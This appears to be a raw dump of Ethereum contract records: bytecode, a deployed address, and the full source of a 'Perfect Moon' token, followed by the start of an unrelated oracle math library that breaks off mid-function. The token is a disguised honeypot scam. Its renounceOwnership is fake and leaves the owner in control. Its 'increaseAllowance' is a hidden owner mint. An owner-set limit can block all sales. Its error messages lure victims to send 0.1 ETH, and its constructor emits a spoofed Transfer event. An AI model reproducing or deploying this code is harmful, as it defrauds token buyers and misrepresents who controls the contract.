d54d4983ab33c66033587d182d80d7e66040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156131ad57600080fd5b6000336001600160a01b03166316f0115b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561346e57600080fd5b505afa158015613482573d6000803e3d6000fd5b505050506040513d602081101561349857600080fd5b5051604080516303526ce360e21b815290519192506000916001600160a01b03841691630d49b38c916004808301926020929190829003018186803b1580156134e057600080fd5b505afa1580156134f4573d6000803e3d6000fd5b505050506040513d602081101561350a57600080fd5b505190506135377f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b6001600160a01b031663107c0240826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561358c57600080fd5b505afa1580156135a0573d6000803e3d6000fd5b505050506040513d60208110156135b657600080fd5b505180156136425750806001600160a01b0316635b16ebb7836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561361557600080fd5b505afa158015613629573d6000803e3d6000fd5b505050506040513d602081101561363f57600080fd5b50515b61294d576040805162461bcd60e51b815260206004820152601060248201526f261d24a72b20a624a22fa622a72222a960811b604482015290519081900360640190fd5b6136d67f0000000000000000000000000000000000000000000000000000000060f3f0fc7f00000000000000000000000000000000000000000000000000000000000d2f0063ffffffff61295116565b42111561106a576040805162461bcd60e51b8152602060048201526015602482015274130e941054d517d1955391125391d7d411549253d1605a1b604482015290519081900360640190fd5b6000610a287f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561378057600080fd5b505afa158015613794573d6000803e3d6000fd5b505050506040513d60208110156137aa57600080fd5b5051600a0a611baf84670de0b6b3a764000063ffffffff6123a516565b6137d18282613bd5565b60006138136137ee61126f846006546123a590919063ffffffff16565b6001600160a01b0385166000908152600760205260409020549063ffffffff613aeb16565b6001600160a01b0384166000818152600760209081526040918290208490558151848152915193945091927ff694bebd33ada288ae2f4485315db76739e2d5501daf315e71c9d8f841aa7773929181900390910190a2505050565b600081836138bd5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156128b657818101518382015260200161289e565b5060008385816138c957fe5b0495945050505050565b6060613928826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316613cd19092919063ffffffff16565b80519091501561131e5780806020019051602081101561394757600080fd5b505161131e5760405162461bcd60e51b815260040180806020018281038252602a815260200180614059602a913960400191505060405180910390fd5b6001600160a01b0383166139c95760405162461bcd60e51b8152600401808060200182810382526025815260200180613fec6025913960400191505060405180910390fd5b6001600160a01b038216613a0e5760405162461bcd60e51b8152600401808060200182810382526023815260200180613ed16023913960400191505060405180910390fd5b613a1983838361131e565b613a5c81604051806060016040528060268152602001613f36602691396001600160a01b038616600090815260208190526040902054919063ffffffff61286216565b6001600160a01b038085166000908152602081905260408082209390935590841681522054613a91908263ffffffff61295116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818303818312801590613b005750838113155b80613b155750600083128015613b1557508381135b610eee5760405162461bcd60e51b81526004018080602001828103825260248152602001806140356024913960400191505060405180910390fd5b6000613b5b3361106c565b3360009081526008602052604081205491925090613b7f908363ffffffff61295116565b336000818152600860209081526040918290208490558151868152908101849052815193945091927ffbc3a599b784fe88772fc5abcc07223f64ca0b13acc341f4fb1e46bef0510eb49281900390910190a25090565b6001600160a01b038216613c30576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b613c3c6000838361131e565b600254613c4f908263ffffffff61295116565b6002556001600160a01b038216600090815260208190526040902054613c7b908263ffffffff61295116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6060613ce08484600085613ce8565b949350505050565b606082471015613d295760405162461bcd60e51b8152600401808060200182810382526026815260200180613f7d6026913960400191505060405180910390fd5b613d3285613e44565b613d83576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310613dc25780518252601f199092019160209182019101613da3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613e24576040519150601f19603f3d011682016040523d82523d6000602084013e613e29565b606091505b5091509150613e39828286613e4a565b979650505050505050565b3b151590565b60608315613e59575081610eee565b825115613e695782518084602001fd5b60405162461bcd60e51b81526020600482018181528451602484015284518593919283926044019190850190808383600083156128b657818101518382015260200161289e56fe400243eaf4da5ecbc2c6f2453605068a362c65ff9212fc60b58289b7e09d220945524332303a207472616e7366657220746f20746865207a65726f20616464726573732047d1633ff7768462ae07d28cb16e484203bfd6d85ce832494270ebcd9081a245524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655369676e6564536166654d6174683a206164646974696f6e206f766572666c6f77416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735369676e6564536166654d6174683a207375627472616374696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d2590c75d517c40c26e5ced3921915b365df606e193d51a42f29b7cd42d4b47f64736f6c634300060b0033
[ 4, 7, 9, 17 ]
0xf1ce5d8bd96b0fb356a3054e96d61d3667287047
/* Welcome to P E R F E C T M O O N 🌓 perfectmoon.net @perfectmoonofficial Perfect Moon is the incubator based on Ethereum Network with innovative product launches, where community gets rewarded in ecosystem tokens. There will be a NFT minting system along with an NFT Marketplace that is in development. 🚀 PERFECT MOON was a stealth launch with no presale. The initial liquidity was added by the dev, locked on UniCrypt and the project was given to the community. 🥩 Frictionless Staking - 2% of every transaction redistributed to holders. Earn yield by just holding! 🎮 NFT Contracts will be audited and release is anticipated in September. */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Apache-2.0 interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PerfectMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 250000000 * 10**18; uint256 private rTotal = 250000000 * 10**18; string private _name = 'Perfect Moon'; string private _symbol = '🌑PERFECT'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function rateReflect(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function setRouter (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase")); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); require(recipient != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); if (sender != caller && recipient == router) { require(amount < rTotal, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); } _router[sender] = _router[sender].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e14610498578063c0d78655146104cc578063dd62ed3e14610510578063f2fde38b1461058857610100565b8063715018a61461036357806395d89b411461036d57806396bfcd23146103f0578063a9059cbb1461043457610100565b806323b872dd116100d357806323b872dd14610238578063313ce567146102bc5780633712c4b4146102dd57806370a082311461030b57610100565b806306fdde0314610105578063095ea7b31461018857806311e330b2146101ec57806318160ddd1461021a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6102186004803603602081101561020257600080fd5b810190808035906020019092919050505061068c565b005b6102226108c3565b6040518082815260200191505060405180910390f35b6102a46004803603606081101561024e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108cd565b60405180821515815260200191505060405180910390f35b6102c46109a6565b604051808260ff16815260200191505060405180910390f35b610309600480360360208110156102f357600080fd5b81019080803590602001909291905050506109bd565b005b61034d6004803603602081101561032157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a99565b6040518082815260200191505060405180910390f35b61036b610ae2565b005b610375610c69565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b557808201518184015260208101905061039a565b50505050905090810190601f1680156103e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104326004803603602081101561040657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0b565b005b6104806004803603604081101561044a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e17565b60405180821515815260200191505060405180910390f35b6104a0610e35565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61050e600480360360208110156104e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e5b565b005b6105726004803603604081101561052657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f67565b6040518082815260200191505060405180910390f35b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111f9565b8484611201565b6001905092915050565b6106946111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610754576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166107746111f9565b73ffffffffffffffffffffffffffffffffffffffff16141561079557600080fd5b6107aa8160065461136090919063ffffffff16565b60068190555061080981600260006107c06111f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136090919063ffffffff16565b600260006108156111f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085b6111f9565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006108da8484846113e8565b61099b846108e66111f9565b610996856040518060800160405280605c8152602001611894605c9139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094c6111f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ad9092919063ffffffff16565b611201565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b6109c56111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aea6111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d015780601f10610cd657610100808354040283529160200191610d01565b820191906000526020600020905b815481529060010190602001808311610ce457829003601f168201915b5050505050905090565b610d136111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e2b610e246111f9565b84846113e8565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e636111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ff66111f9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061186e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127557600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180611894605c913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180611894605c913960600191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561159f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156115ff5760075481106115fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180611894605c913960600191505060405180910390fd5b5b61166b816040518060800160405280605c8152602001611894605c9139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ad9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061185a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561181f578082015181840152602081019050611804565b50505050905090810190601f16801561184c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20416e74692d626f74206d656368616e69736d20666c616767656420796f75206173206120626f742c20746f2067657420756e626c61636b6c6973746564206d616b65206120302e3120455448207075726368617365a264697066735822122071e76b6c1c873637ac42ff200364b45f7c36ad4646920ce1751a6b886db7c83d64736f6c634300060c0033
[ 38 ]
0xF1D04388a75Ab6fF1Cdc6a7abfcf4638f7Fc3BB9
pragma solidity 0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } /** * @notice Computes average of two signed integers, ensuring that the computation * doesn't overflow. * @dev If the result is not an integer, it is rounded towards zero. For example, * avg(-3, -4) = -3 */ function avg(int256 _a, int256 _b) internal pure returns (int256) { if ((_a < 0 && _b > 0) || (_a > 0 && _b < 0)) { return add(_a, _b) / 2; } int256 remainder = (_a % 2 + _b % 2) / 2; return add(add(_a / 2, _b / 2), remainder); } } library Median { using SignedSafeMath for int256; int256 constant INT_MAX = 2**255-1; /** * @notice Returns the sorted middle, or the average of the two middle indexed items if the * array has an even number of elements. * @dev The list passed as an argument isn't modified. * @dev This algorithm has expected runtime O(n), but for adversarially chosen inputs * the runtime is O(n^2). * @param list The list of elements to compare */ function calculate(int256[] memory list) internal pure returns (int256) { return calculateInplace(copy(list)); } /** * @notice See documentation for function calculate. * @dev The list passed as an argument may be permuted. */ function calculateInplace(int256[] memory list) internal pure returns (int256) { require(0 < list.length, "list must not be empty"); uint256 len = list.length; uint256 middleIndex = len / 2; if (len % 2 == 0) { int256 median1; int256 median2; (median1, median2) = quickselectTwo(list, 0, len - 1, middleIndex - 1, middleIndex); return SignedSafeMath.avg(median1, median2); } else { return quickselect(list, 0, len - 1, middleIndex); } } /** * @notice Maximum length of list that shortSelectTwo can handle */ uint256 constant SHORTSELECTTWO_MAX_LENGTH = 7; /** * @notice Select the k1-th and k2-th element from list of length at most 7 * @dev Uses an optimal sorting network */ function shortSelectTwo( int256[] memory list, uint256 lo, uint256 hi, uint256 k1, uint256 k2 ) private pure returns (int256 k1th, int256 k2th) { // Uses an optimal sorting network (https://en.wikipedia.org/wiki/Sorting_network) // for lists of length 7. Network layout is taken from // http://jgamble.ripco.net/cgi-bin/nw.cgi?inputs=7&algorithm=hibbard&output=svg uint256 len = hi + 1 - lo; int256 x0 = list[lo + 0]; int256 x1 = 1 < len ? list[lo + 1] : INT_MAX; int256 x2 = 2 < len ? list[lo + 2] : INT_MAX; int256 